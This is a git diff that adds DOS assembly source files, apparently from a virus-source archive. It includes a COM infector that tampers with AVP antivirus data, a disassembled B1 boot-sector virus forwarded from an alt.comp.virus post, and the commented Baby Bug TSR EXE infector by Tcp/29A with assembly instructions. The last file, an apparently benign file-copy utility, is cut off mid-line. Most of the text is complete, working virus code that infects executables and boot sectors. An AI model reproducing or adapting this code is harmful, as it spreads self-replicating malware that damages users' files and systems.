+ lea dx,[bp+avp_set] + int 21h ; Delete AVP.SET + mov ah,56h + mov di,dx + lea dx,[bp+f_base] + int 21h ; Rename krn386.avb to AVP.SET + mov ah,3ch + xor cx,cx + int 21h ; Reset krn386.avb + xchg ax,bx + mov ah,40h + lea dx,[bp+aids_base] + mov cx,LENGTH_AIDS + int 21h ; Write the AVP-AIDS base + mov ah,3eh + int 21h +exec_host: + pop dx + pop ds + mov ah,1ah + int 21h ; Restore DTA + push cs + push cs + pop ds + pop es + ret + +infect_file: + mov ax,3d02h + int 21h ; Open + jc no_file + xchg ax,bx + mov ah,3fh + mov cx,6 + lea dx,[bp+offset(six)] + int 21h ; Read 6 bytes + cmp ax,cx ; File >6 bytes? + jne close_file ; No? ten jmp + cmp word ptr [bp+six],'ZM' ; EXE file but .com extension? + je close_file ; Yes? then jmp + cmp word ptr [bp+six],'KP' ; Already infected? + je close_file ; Yes? then jmp + mov ax,4202h + cwd + xor cx,cx + int 21h ; Go end + mov ah,40h + mov dx,bp + mov cx,offset(vir_end) + int 21h ; Write virus + mov ax,4200h + cwd + xor cx,cx + int 21h ; Go start + mov ax,[bp+offset(dta)+1ah] ; File size + sub ax,6 + mov [bp+ofs_vir],ax + mov ah,40h + lea dx,[bp+jmp_vir] + mov cx,6 + int 21h ; Write jump to virus + mov ax,5701h + mov cx,[bp+offset(dta)+16h] ; Time + mov dx,[bp+offset(dta)+18h] ; Date + int 21h ; Set time/date to original +close_file: + mov ah,3eh + int 21h ; Close file +no_file: + ret + +aids_base db LENGTH_AIDS dup(?) + +vir_end: + +dta: + +avp_aids ends + end start diff --git a/b/B1.ASM b/b/B1.ASM new file mode 100755 index 0000000..de2a144 --- /dev/null +++ b/b/B1.ASM @@ -0,0 +1,362 @@ +From smtp Tue Feb 7 13:16 EST 1995 +Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:16 EST +Received: by lynx.dac.neu.edu (8.6.9/8.6.9) + id NAA01723 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:13 -0500 +Date: Tue, 7 Feb 1995 13:19:13 -0500 +From: lynx.dac.neu.edu!ekilby (Eric Kilby) +Content-Length: 10347 +Content-Type: binary +Message-Id: <199502071819.NAA01723@lynx.dac.neu.edu> +To: pobox.jwu.edu!joshuaw +Subject: (fwd) B1 +Newsgroups: alt.comp.virus +Status: O + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm +From: danishm@iia.org () +Newsgroups: alt.comp.virus +Subject: B1 +Date: 5 Feb 1995 22:05:37 GMT +Organization: International Internet Association. +Lines: 330 +Message-ID: <3h3i3h$v4@ankh.iia.org> +NNTP-Posting-Host: iia.org +X-Newsreader: TIN [version 1.2 PL2] + +Here is the B1 virus: + + +PAGE 59,132 +; Disassembled using sourcer +;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ +;[[ [[ +;[[ B1 [[ +;[[ [[ +;[[ Created: 8-Jan-95 [[ +;[[ Version: [[ +;[[ Code type: zero start [[ +;[[ Passes: 5 Analysis Options on: none [[ +;[[ [[ +;[[ [[ +;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ + +data_1e equ 413h ; (0000:0413=7Fh) +data_2e equ 46Dh ; (0000:046D=17E1h) +data_3e equ 4Ch ; (0006:004C=0DAh) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 0 + +virus proc far + +start: + jmp short loc_2 ; (0040) + db 90h, 00h, 4Dh, 4Dh, 49h, 00h + db 33h, 2Eh, 33h, 00h, 02h, 01h + db 01h, 00h, 02h,0E0h, 00h, 40h + db 0Bh,0F0h, 09h, 00h, 12h, 00h + db 02h, 00h + db 19 dup (0) + db 12h, 00h, 00h, 00h, 00h, 01h + db 00h,0FAh, 33h,0C0h, 8Eh,0D0h + db 0BCh, 00h, 7Ch, 16h, 07h +loc_2: + push cs + call sub_1 ; (00EF) + push ax + shr ax,1 ; Shift w/zeros fill + dec ah + jz loc_3 ; Jump if zero + jmp loc_14 ; (01BA) +loc_3: + push bx + push cx + push dx + push es + push si + push di + push ds + push bp + mov bp,sp + or ch,ch ; Zero ? + jnz loc_5 ; Jump if not zero + shl al,1 ; Shift w/zeros fill + jc loc_4 ; Jump if carry Set + call sub_6 ; (0190) + call sub_4 ; (017B) + jc loc_7 ; Jump if carry Set + call sub_2 ; (0127) + jz loc_4 ; Jump if zero + call sub_6 ; (0190) + call sub_3 ; (013B) + jz loc_5 ; Jump if zero + inc ah + call sub_4 ; (017B) + jc loc_5 ; Jump if carry Set + call sub_5 ; (0182) + call sub_6 ; (0190) + inc ah + call sub_4 ; (017B) +loc_4: + call sub_7 ; (019E) + or ch,dh + dec cx + jnz loc_5 ; Jump if not zero + call sub_6 ; (0190) + call sub_4 ; (017B) + jc loc_7 ; Jump if carry Set + call sub_2 ; (0127) + jnz loc_5 ; Jump if not zero + call sub_7 ; (019E) + call sub_3 ; (013B) + dec byte ptr [bp+10h] + jz loc_6 ; Jump if zero + mov al,1 + call sub_4 ; (017B) + jc loc_7 ; Jump if carry Set + call sub_7 ; (019E) + add bx,di + inc cl + jmp short loc_6 ; (00BA) +loc_5: + call sub_7 ; (019E) +loc_6: + call sub_4 ; (017B) +loc_7: + pushf ; Push flags + pop bx + mov [bp+16h],bx + xchg ax,[bp+10h] + shr ah,1 ; Shift w/zeros fill + jnc loc_9 ; Jump if carry=0 + xor ax,ax ; Zero register + mov ds,ax + mov ax,ds:data_2e ; (0000:046D=17E1h) + and ax,178Fh + jnz loc_9 ; Jump if not zero + call sub_6 ; (0190) +loc_8: + push ax + call sub_4 ; (017B) + xor cx,0FFC0h + nop ;*ASM fixup - sign extn byte + shl ax,1 ; Shift w/zeros fill + pop ax + jnc loc_8 ; Jump if carry=0 +loc_9: + pop bp + pop ds + pop di + pop si + pop es + pop dx + pop cx + pop bx + pop ax + iret ; Interrupt return + +virus endp + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_1 proc near + mov bx,44h + mov dx,80h + mov si,data_1e ; (0000:0413=7Fh) + xor di,di ; Zero register + mov ds,di + dec word ptr [si] + lodsw ; String [si] to ax + pop si + mov cl,6 + shl ax,cl ; Shift w/zeros fill + mov es,ax + sub si,bx + push si + push ax + mov ax,1AEh + push ax + push cs + push si + push cs + pop ds + call sub_5 ; (0182) + mov ds,cx + mov si,data_3e ; (0006:004C=0DAh) + mov cl,2 + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov [si-4],bx + mov [si-2],es + pop bx + pop es + retf ; Return far +sub_1 endp + + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_2 proc near + cld ; Clear direction + push cs + pop ds + xor si,si ; Zero register + mov di,bx + mov cl,40h ; '@' + push si + push di + add si,cx + add di,cx + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + pop di + pop si + retn +sub_2 endp + + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_3 proc near + push ax + xor dh,dh ; Zero register + test dl,80h + jz loc_10 ; Jump if zero + mov cx,11h + jmp short loc_11 ; (0175) +loc_10: + mov ax,[di+11h] + mov cl,4 + shr ax,cl ; Shift w/zeros fill + mov cx,ax + mov ax,[di+16h] + shl ax,1 ; Shift w/zeros fill + jc loc_12 ; Jump if carry Set + add ax,cx + jc loc_12 ; Jump if carry Set + xor cx,cx ; Zero register + cmp ah,[di+18h] + jae loc_12 ; Jump if above or = + div byte ptr [di+18h] ; al,ah rem = ax/data + xchg cl,ah + cmp ah,[di+1Ah] + jae loc_12 ; Jump if above or = + div byte ptr [di+1Ah] ; al,ah rem = ax/data + mov ch,al + mov dh,ah + inc cx +loc_11: + pop ax + retn +loc_12: + xor cx,cx ; Zero register + jmp short loc_11 ; (0175) +sub_3 endp + + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_4 proc near + pushf ; Push flags + call dword ptr cs:[1BCh] ; (7379:01BC=0D79h) + retn +sub_4 endp + + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_5 proc near + cld ; Clear direction + movsw ; Mov [si] to es:[di] + mov cx,17Ch + add si,3Eh + add di,3Eh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_5 endp + + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_6 proc near + push cs + mov ax,200h + mov bx,ax + xor cx,cx ; Zero register + xor dh,dh ; Zero register + inc cx + inc ax + pop es + retn +sub_6 endp + + +;__________________________________________________________________________ +; SUBROUTINE +;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + +sub_7 proc near + mov ax,[bp+10h] + mov bx,[bp+0Eh] + mov cx,[bp+0Ch] + mov dx,[bp+0Ah] + mov es,[bp+8] + retn +sub_7 endp + + db 41h ; Inc cx ? +loc_13: + mov ax,201h + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + xor dl,80h + jz loc_13 ; Jump if zero + retf ; Return far +loc_14: + pop ax +;* jmp far ptr loc_1 ;*(000A:0D79) + db 0EAh, 79h, 0Dh, 0Ah, 00h + db 0Dh, 0Ah, 'Disk Boot failure', 0Dh + db 0Ah, 0 + db 'IBMBIO COMIBMDOS COM' + db 18 dup (0) + db 55h,0AAh + +seg_a ends + + + + end start + +ls virus.asm + + + +ls virus.asm + + + + + + + + +-- +Eric "Mad Dog" Kilby maddog@ccs.neu.edu +The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu +Student at the Northeatstern University College of Computer Science +"I Can't Believe It's Not Butter" + diff --git a/b/BABYBUG.ASM b/b/BABYBUG.ASM new file mode 100755 index 0000000..876c230 --- /dev/null +++ b/b/BABYBUG.ASM @@ -0,0 +1,305 @@ +; +; +; Baby Bug +; by Tcp/29A +; +; +; +; Because in 29A#2 it wasn't going to be published any virus originally wri- +; tten by me and i did not like that, taking advantage of a little last-hour +; delay in the release of the magazine and of a rainy afternoon i decided to +; code this little virus. It is a 407 byte-long TSR EXE infector, which uses +; a pretty unusual code in order to process the EXE header... and this code, +; as you may imagine, takes less bytes than the standard one :) +; +; +; Compiling it +; +; tasm /m babybug.asm +; tlink babybyg.obj + + + .286 + baby segment + assume cs:baby, ds:baby, es:baby, ss:baby + org 0 + +VIRUS_SIZE = end_virus - start +VIRUS_MEM_SIZE = memsize - start +VIR_PARAG = (VIRUS_MEM_SIZE + 15) / 16 + 1 + +start: +delta_ofs equ word ptr $+1 + mov si,0 ; mov si,delta_ofs + push ds + push es + mov ax,ds + add ax,10h + add cs:[si+f_relocs],ax ; Relocate host CS & SS + add cs:[si+f_reloss],ax + mov ax,0BAB1h ; Resident check + int 21h + cmp ax,0BA03h ; Already resident? + je exec_host ; Yes? then jmp + mov ax,ds + dec ax + mov ds,ax + mov bx,ds:[0003] + sub bx,VIR_PARAG+1 + mov ah,4Ah + int 21h ; Adjust current block + mov ah,48h + mov bx,VIR_PARAG + int 21h ; Get memory + mov es,ax + push cs + pop ds + xor di,di + mov cx,VIRUS_SIZE + rep movsb ; Copy virus to allocated mem + push es + push offset(mem_copy) + retf + + db '[Baby Bug, Tcp/29A]' + +mem_copy: + push cs + pop ds + dec ax + mov es,ax + mov word ptr es:[0001],8 ; DOS MCB + mov ax,3521h ; Read int 21h + int 21h + mov [di],bx ; Store it + mov [di+2],es + mov dx,offset(vir_21h) ; Virus int 21h + mov ah,25h + int 21h +exec_host: + pop es + pop ds + cli + db 68h ; push f_reloss +f_reloss dw 0FFF0h + pop ss +f_exesp equ word ptr $+1 + mov sp,offset(memsize) ; mov sp,f_exesp + sti + db 0EAh ; jmp host entry point +f_exeip dw 0 +f_relocs dw 0FFF0h + +vir_21h: + cmp ax,0BAB1h ; Resident check? + jne check_exec ; No? then jmp +int_24h: + mov al,3 + iret + +check_exec: + cmp ax,4B00h ; Exec file? + je process_file ; Yes? then jmp + jmp jmp_real_21 + +process_file: + pusha + push ds + push es + mov ax,3524h + int 21h ; Read int 24h + push es + push bx + mov ah,25h + push ax + push ds + push dx + push cs + pop ds + mov dx,offset(int_24h) + int 21h ; Set virus int 24h + pop dx + pop ds + mov ax,4300h + push ax + int 21h ; Read file attributes + pop ax + inc ax + push ax + push cx + push ds + push dx + xor cx,cx + int 21h ; Reset file attributes + jnc open_file +jmp_r_attr: + jmp restore_attr +open_file: + mov ax,3D02h + int 21h ; Open file I/O + jc jmp_r_attr + xchg ax,bx + push cs + pop ds + push cs + pop es + mov ax,5700h + int 21h ; Get file date/time + push ax + push cx + push dx + mov ah,3Fh + mov dx,offset(file_header) + mov cx,18h + int 21h ; Read file header + mov si,dx + stc + lodsw ; Signature + cmp ax,'MZ' ; EXE? + je infect_exe ; Yes? then jmp + cmp ax,'ZM' ; EXE? + jne jmp_r_datetime ; Yes? then jmp +infect_exe: + lodsw ; Part page + xchg ax,bp + lodsw ; Number of 512 bytes pages + or bp,bp + jz no_sub_page + dec ax +no_sub_page: + mov cx,512 + mul cx + add ax,bp ; Calculate file size + adc dx,0 + push ax ; Save it + push dx + lodsw ; Relocation items + lodsw ; Header size + xchg ax,bp + lodsw ; Min. memory + lodsw ; Max. memory + mov di,offset(f_reloss) + movsw ; SS + scasw ; DI+2 + movsw ; SP + scasw ; DI+2 + lodsw ; checksum + movsw ; IP + xchg ax,dx + lodsw ; CS + stosw + cmp ax,dx ; checksum == CS? infected? + pop dx + pop ax + je restore_datetime ; Yes? ten jmp + push bp + push ax + push dx + mov ax,4202h + xor cx,cx + cwd + int 21h ; Lseek end of file + pop cx + pop bp + cmp ax,bp ; Overlays? + pop bp +jmp_r_datetime: + jne restore_datetime ; Yes? then jmp + cmp dx,cx ; Overlays? + jne restore_datetime ; Yes? then jmp + push ax + push dx + mov cx,16 ; Calculate virus CS, IP + div cx + sub ax,bp + std + mov di,si + scasw + stosw ; CS + xchg ax,dx + stosw ; IP + mov delta_ofs,ax + xchg ax,dx + stosw ; Checksum = CS (infection mark) + xchg ax,dx + mov ax,VIR_PARAG*16 ; SP + stosw + xchg ax,dx + stosw ; SS + cmpsw ; hey! SUB DI,8 is only 3 bytes long, but it + cmpsw ; doesn't roq... :) + cmpsw + cmpsw + pop dx + pop ax + add ax,VIRUS_SIZE ; Calculate number of pages + adc dx,0 + mov cx,512 + div cx + or dx,dx + jz no_inc_pag + inc ax +no_inc_pag: + stosw ; Number of pages + xchg ax,dx + stosw ; Bytes in last page + mov ah,40h + cwd + mov cx,VIRUS_SIZE + int 21h ; Append virus body to file + jc restore_datetime + mov ax,4200h + mov cx,dx + int 21h ; Lseek begin of file + mov ah,40h + mov dx,di + mov cx,18h + int 21h ; Write new header to file +restore_datetime: + pop dx + pop cx + pop ax + inc ax ; 5701h + int 21h ; Restore date & time + mov ah,3Eh + int 21h ; Close file +restore_attr: + pop dx + pop ds + pop cx + pop ax + int 21h ; Restore attributes + pop ax + pop dx + pop ds + int 21h ; Restore int 24h + pop es + pop ds + popa +jmp_real_21: + db 0EAh ; jmp to int 21h +end_virus: +ofs_i21 dw ? +seg_i21 dw ? + +file_header: +signature dw ? +part_page dw ? +pages dw ? +relo_items dw ? +hdrsize dw ? +mim_mem dw ? +max_mem dw ? +reloss dw ? +exesp dw ? +checksum dw ? +exeip dw ? +relocs dw ? + +memsize: + +baby ends + end start + +; Baby Bug, by Tcp/29A +; (c) 1997, Tcp/29A (tcp@cryogen.com) diff --git a/b/BAC (24).ASM b/b/BAC (24).ASM new file mode 100755 index 0000000..b7e8a12 --- /dev/null +++ b/b/BAC (24).ASM @@ -0,0 +1,364 @@ +BAC segment para public 'code' + assume cs:BAC, ds:BAC, es:BAC, ss:NOTHING + org 100h ; .COM format +BEGIN: + jmp CODE_START ; Jump around data declarations +DECLARE: ; Messages, Storage Areas, Equates + COPYRIGHT db 'BACopy (C) 1985, Dickinson Associates Inc.' + db 13,10,'$' + PATH_FILE_LEN equ 77 ;Length = 1, Path = 63, FileName = 12, 0 = 1 + SOURCE_FILE db PATH_FILE_LEN dup (0) + TARGET_PATH db PATH_FILE_LEN dup (0) + SOURCE_END dw 0 + TARGET_END dw 0 + SOURCE_HANDLE dw 0 + TARGET_HANDLE dw 0 + SOURCE_DTA db 44 dup(0) + TARGET_DTA db 44 dup(0) + VALID_IN db 'abcdefghijklmnopqrstuvwxyz,;=',9 + VALID_OUT db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',4 dup(32) + VALID_NUM equ $ - VALID_OUT + 1 + BLKSIZE dw 0 + LAST_BLOCK db 0 + EVENT_FLAG db 0 + ERR_HEAD db 10,13,'BACopy Error - $' + NO_PARMS db 'Correct Syntax is:',13,10,10 + db 'BACopy [d:][source_path]source_filename[.ext] [d:][target_path]$' + FILE_NOT_FOUND db 'File Not Found$' + SOURCE_ERROR db 'Opening Source File$' + CREATE_ERROR db 'Creating Target File$' + TARGET_FULL db '!!',10,10,13,'Target Disk is Full',13,10,10 + db 'Insert New Disk and Press [Enter]',7,'$' + ERR_TAIL db 10,10,13,' . . . Aborting',10,13,13,'$' + CONFIRM_MSG_1 db ' . . $' + CONFIRM_MSG_2 db 'BACopied to . . $' + END_LINE db 10,13,'$' + NOTHING_TO_DO db 13,10,'No Files Needed to be BACopied',13,10,'$' +; +CODE_START: ; Parse command line into source & target parameters + mov dx,offset COPYRIGHT ; Display copyright notice + mov ah,9h + int 21h + mov si,80h ; PSP parameter byte count pointer + mov cl,[si] ; Move byte count to CL + xor ch,ch ; Zero CH + jcxz NO_PARMS_PASSED ; If CX is zero, there are no parameters + mov dx,cx ; Save byte count in dx + inc si ; Point to parameter area + mov di,si ; Copy SI to DI for cleanup routine + cld ; Set direction flag to forward +CLEAN_PARMS: ; Change valid delimiters to blanks, lower to upper case + lodsb ; Load each character to AL + push di ; Save DI on stack + mov di,offset VALID_IN ; Point to table of valid inputs + push cx ; Save CX on stack + mov cx,VALID_NUM ; Set CX to number of inputs to look for +repne scasb ; See if any are in AL + jcxz CLEAN_END ; If not, change nothing + mov bx,VALID_NUM ; Set up BX to point to valid output + sub bx,cx ; This will leave BX one off + mov al,VALID_OUT [bx - 1] ; Load the valid output to AL +CLEAN_END: + pop cx ; Restore CX + pop di ; Restore DI + stosb ; Store modified AL back to PSP +loop CLEAN_PARMS ; Loop until CX is zero +; + mov cx,dx ; Restore number of bytes in PSP to CX + mov dx,2 ; Set DX to look for up to 2 parameters + mov bx,offset SOURCE_FILE ; Set BX to address of 1st parameter + mov al,' ' ; Set up to scan for first non-blank + mov di,81h ; Set DI to PC-DOS parameter pointer +FIND_PARMS: ; Start looking for parameters, load to program storage +repe scasb ; Scan while blanks + mov si,di ; Set SI to second non-blank byte + dec si ; Adjust it to first non-blank byte + inc cx ; Adjust CX to compensate + jcxz PARMS_LOADED ; If CX is zero, no parameters left + mov di,bx ; Set DI to parameter hold area + mov ax,cx ; Store CX to first byte of hold area + stosb ; DI is adjusted to second byte here +STORE: lodsb ; Load each byte to AL + cmp al,' ' ; Is it a blank? + jz END_STORE ; Yes, end of this parameter + stosb ; No, store the byte to hold area +END_STORE: + loopnz STORE ; Keep looking + sub [bx],cx ; Store number of bytes in each + jcxz PARMS_LOADED ; If CX is zero, no more parameters + dec byte ptr [bx] ; parameter to first byte of hold area + mov di,si ; Set up to scan for next non-blank + dec di ; Adjust DI to point to the blank + inc cx ; Adjust CX to compensate + dec dx ; Decrement DX counter + cmp dx,0 ; Is DX zero? + jz PARMS_LOADED ; Yes, all expected parameters loaded + add bx,PATH_FILE_LEN ; No, point to next part of hold area + jmp FIND_PARMS ; Go back and look for more +PARMS_LOADED: ; All parameters are loaded + cmp SOURCE_FILE[0],0 ; If there are no bytes in the + ja FIX_UP ; SOURCE_FILE, no parameters present +NO_PARMS_PASSED: ; Exit with an error if there + mov dx,offset NO_PARMS ; are no parameters passed + jmp ERROR_EXIT +FIX_UP: ; Fix SOURCE_FILE and TARGET_PATH + mov si,offset SOURCE_FILE ; For Search calls + lodsb ; Get Number of bytes + xor ah,ah ; Zero high byte of AX + mov di,si ; Move SI to DI for scan + add di,ax ; Start scan at end of parameter + dec di ; Adjust DI + mov cx,ax ; Set CX to number of bytes + mov al,'\' ; Scan for the last '\' + std ; Set direction flag to reverse +repnz scasb ; Scan while not '\' + jnz NO_SOURCE_DIR ; If Zero Flag not set, '\' not found + add di,2 ; Add 2 to DI to point to file name + jmp SOURCE_FIXED ; position +NO_SOURCE_DIR: ; No source directory was specified + add di,1 ; Adjust DI + cmp SOURCE_FILE[2],':' ; Check for specified disk drive + jne SOURCE_FIXED ; None present, we're done + mov di,offset SOURCE_FILE[3]; Yes, set DI to point to first byte +SOURCE_FIXED: ; after ':' + mov SOURCE_END,di ; Move DI to SOURCE_END pointer +; + cld ; Set direction flag to forward + mov si,offset TARGET_PATH ; Set up to look for '\' present + lodsb ; Get number of bytes + cmp al,0 ; If it's zero, no target specified + je NO_TARGET + xor ah,ah ; Zero high byte of AX + add si,ax ; Add it to SI to point to end + dec si ; Decrement SI to adjust + lodsb ; Look at last byte + mov di,si ; Copy SI to DI + cmp al,'\' ; Is last byte a '\'? + je TARGET_FIXED ; Yes, everything's fine + cmp TARGET_PATH[0],2 ; If TARGET_PATH is 2 bytes long and + jne STORE_SLASH ; is a disk drive specification, + cmp TARGET_PATH[2],':' ; let it default to the current + je TARGET_FIXED ; directory. +STORE_SLASH: ; Place a '\' at the end of + mov al,'\' ; TARGET_PATH if user did + stosb ; not +TARGET_FIXED: + mov TARGET_END,di ; Move DI to TARGET_END pointer + jmp BUFFER_SIZE +NO_TARGET: ; Set up to allow target path default + mov TARGET_END,offset TARGET_PATH + 1 ; to current path +BUFFER_SIZE: ; Compute size of file buffer + mov ax,0fdffh ; Leave plenty of room in segment + mov dx,offset FILE_BUFFER ; for stack & set DX to end of code + sub ax,dx ; Subtract + mov BLKSIZE,ax ; Save result in BLKSIZE +FIND_FILE: ; Find first source file + xor ax,ax ; Request to use SOURCE_DTA + mov ah,1ah ; to house FCB for SOURCE_FILE + mov dx,offset SOURCE_DTA + int 21h ; Call PC-DOS + mov dx,offset SOURCE_FILE + 1 ; DX points to SOURCE_FILE + mov ah,4eh ; Request function 4EH (find 1st file) + mov cx,0 ; Set CX to zero for normal files only + int 21h ; Call PC-DOS + jnc FOUND_FILE ; If no error, first file found + mov dx,offset FILE_NOT_FOUND; If no files found, exit + jmp ERROR_EXIT ; program with error message +FOUND_FILE: + mov LAST_BLOCK,0 ; Initalize last block read flag + mov si,offset SOURCE_DTA+30 ; SI points to source file name in DTA + mov di,SOURCE_END ; DI points to end of source path + push si ; Save pointer to source file name + mov cx,13 ; DTA will have 13 bytes +rep movsb ; Move name bytes to SOURCE_FILE + mov di,TARGET_END ; DI points to end of target path + pop si ; Recover pointer to source file name + mov cx,13 ; DTA will have 13 bytes +rep movsb ; Move file name bytes to TARGET_PATH +FIND_TARGET: ; Find matching target file + mov ah,1ah ; Request to use TARGET_DTA + xor al,al ; to house FCB for TARGET_PATH + mov dx,offset TARGET_DTA + int 21h ; Call PC-DOS + mov ah,4eh ; Request find 1st file for target + mov dx,offset TARGET_PATH+1 + mov cx,0 ; Set CX to zero for normal files only + int 21h ; Call PC-DOS + jc OPEN_SOURCE ; If not found, bypass date & time check +CHECK_TIME_DATE: ; Check time & date stamps in DTAs + mov si,offset SOURCE_DTA+24 ; Load source file date stamp to AX + lodsw + mov dx,ax ; Save in DX + mov si,offset TARGET_DTA+24 ; Load target file date stamp to AX + lodsw + cmp dx,ax ; If Source file newer, jump + ja OPEN_SOURCE ; to OPEN_SOURCE + jne DONT_COPY ; If Source file older, don't copy it + mov si,offset SOURCE_DTA+22 ; Otherwise, + lodsw ; load source time stamp to AX + mov dx,ax ; Save in DX + mov si,offset TARGET_DTA+22 ; Load target time stamp to AX + lodsw + cmp dx,ax ; If Source file newer, jump + ja OPEN_SOURCE ; to OPEN_SOURCE + jmp DONT_COPY +DONT_COPY: ; Otherwise, + call CLOSE_ALL ; Close all files + jmp NEXT_FILE ; Check for next file +OPEN_SOURCE: + mov ah,3dh ; Request Open Source File + mov dx,offset SOURCE_FILE+1 ; DX points to source file path name + mov al,0 ; with read permission only + int 21h ; Call PC-DOS + mov SOURCE_HANDLE,ax ; Save handle in memory + jnc CREATE_TARGET ; If no carry, open was good + mov dx,offset SOURCE_ERROR ; Otherwise, exit with error + mov SOURCE_HANDLE,0 ; Make sure CLOSE_ALL ignores handle + jmp ERROR_EXIT +CREATE_TARGET: + xor ax,ax + mov ah,3ch ; Request create & open a file + mov dx,offset TARGET_PATH+1 ; named the target file + xor cx,cx ; with normal attribute + int 21h ; Call PC-DOS + mov TARGET_HANDLE,ax ; Save target handle + jnc PROCEED_TO_COPY ; If no carry, create / open is ok + mov dx,offset CREATE_ERROR ; Otherwise, exit with an error + mov TARGET_HANDLE,0 ; Make sure CLOSE_ALL ignores target + jmp ERROR_EXIT +PROCEED_TO_COPY: ; The heart of the matter + mov si,offset SOURCE_FILE+1 ; Point to source file +START1: lodsb ; Load each byte to AL + cmp al,0 ; If ASCII 0, end of field + je DOTS + mov dl,al ; Copy byte to DL for funciton 2H + mov ah,2h ; Request function 2H + int 21h ; Call PC-DOS + jmp START1 ; Get next character +DOTS: mov ah,9h ; Confirm start of task + mov dx,offset CONFIRM_MSG_1 + int 21h +KEEP_COPYING: + mov ah,3fh ; Request read block of data + mov cx,BLKSIZE ; BLKSIZE bytes long + mov bx,SOURCE_HANDLE ; from source file + mov dx,offset FILE_BUFFER ; into buffer + int 21h ; Call PC-DOS + cmp ax,0 ; If AX is 0, no bytes were + je FINISH ; read, and we're done + mov cx,ax ; Move AX to CX for write call (below) + cmp cx,BLKSIZE ; Check number of bytes read against + je MORE_TO_COME ; request. If equal, we got them all, + mov LAST_BLOCK,1 ; otherwise, it's the last block of file +MORE_TO_COME: ; + push cx ; Save requested write count on stack + mov ah,40h ; Request write block of data + mov bx,TARGET_HANDLE ; to target file + mov dx,offset FILE_BUFFER ; from file buffer + int 21h ; Call PC-DOS + pop cx ; Recover requested write count + cmp ax,cx ; If CX equals AX, + je WRITE_OK ; write was successful, +DISK_FULL: + call CLOSE_ALL ; Otherwise disk is full -- close files + mov ah,41h ; Request erase file + mov dx,offset TARGET_PATH+1 ; for incomplete target. + int 21h ; Call PC-DOS + mov dx,offset TARGET_FULL + mov ah,9h + int 21h +READ_KEYBOARD: ; Prompt requested [Enter] key + mov ah,8h ; Make sure [Ctrl]-[Break] is detected + int 21h ; Call PC-DOS for key + cmp al,13 ; Check for [Enter] + jne READ_KEYBOARD ; (no extended codes are 13) + mov cx,2 +END_FULL: + mov dx,offset END_LINE ; Send a new line to screen + mov ah,9h + int 21h + loop END_FULL + jmp FOUND_FILE ; Re-start from FOUND_FILE: +WRITE_OK: + cmp LAST_BLOCK,1 ; If this is the last block, + je FINISH ; we're done + jmp KEEP_COPYING ; Otherwise, keep going. +FINISH: ; Force target time & date stamps + mov ah,57h ; to equal source, close files + mov al,0 ; Request get time and date stamos + mov bx,SOURCE_HANDLE ; for source file + int 21h ; DX & CX contain data + mov ah,57h ; Request set date and time + mov al,1 ; to force target file to + mov bx,TARGET_HANDLE ; source stamp + int 21h ; Call PC-DOS + call CLOSE_ALL ; Go close all files + mov dx,offset CONFIRM_MSG_2 ; Confirm completion of task + mov ah,9h ; Request function 9H + int 21h ; Call PC-DOS + mov si,offset TARGET_PATH+1 ; Point to source file +START2: lodsb ; Load each byte to AL + cmp al,0 ; If ASCII 0, end of field + je CR_LF + mov dl,al ; Copy byte to DL for funciton 2H + mov ah,2h ; Request function 2H + int 21h ; Call PC-DOS + jmp START2 ; Get next character +CR_LF: mov dx,offset END_LINE ; Terminate display line + mov ah,9h ; Request function 9H + int 21h + mov EVENT_FLAG,1 ; Set flag to indicate file was copied +NEXT_FILE: ; Go Look for next file + xor ax,ax + mov ah,1ah ; Request to use SOURCE_DTA + mov dx,offset SOURCE_DTA ; to house FCB for SOURCE_FILE + int 21h ; Call PC-DOS + mov ah,4fh ; Request find next source file + mov cx,0 ; Normal files only + int 21h ; Call PC-DOS + jnc FOUND_ANOTHER ; No error, another file was found + jmp END_OK ; Error, we're done finding files +FOUND_ANOTHER: + jmp FOUND_FILE ; Go process next file +END_OK: cmp EVENT_FLAG,1 ; Did anything happen? + je EXIT ; Yes, just exit + mov dx,offset NOTHING_TO_DO ; No, tell user that nothing happened + mov ah,9h + int 21h +EXIT: int 20h ; Exit to PC-DOS +ERROR_EXIT: ; Print Error Message and Exit + push dx ; Save error message pointer on stack + mov ah,9 ; Display error header + mov dx,offset ERR_HEAD + int 21h + mov ah,9 ; Display error message + pop dx + int 21h + mov 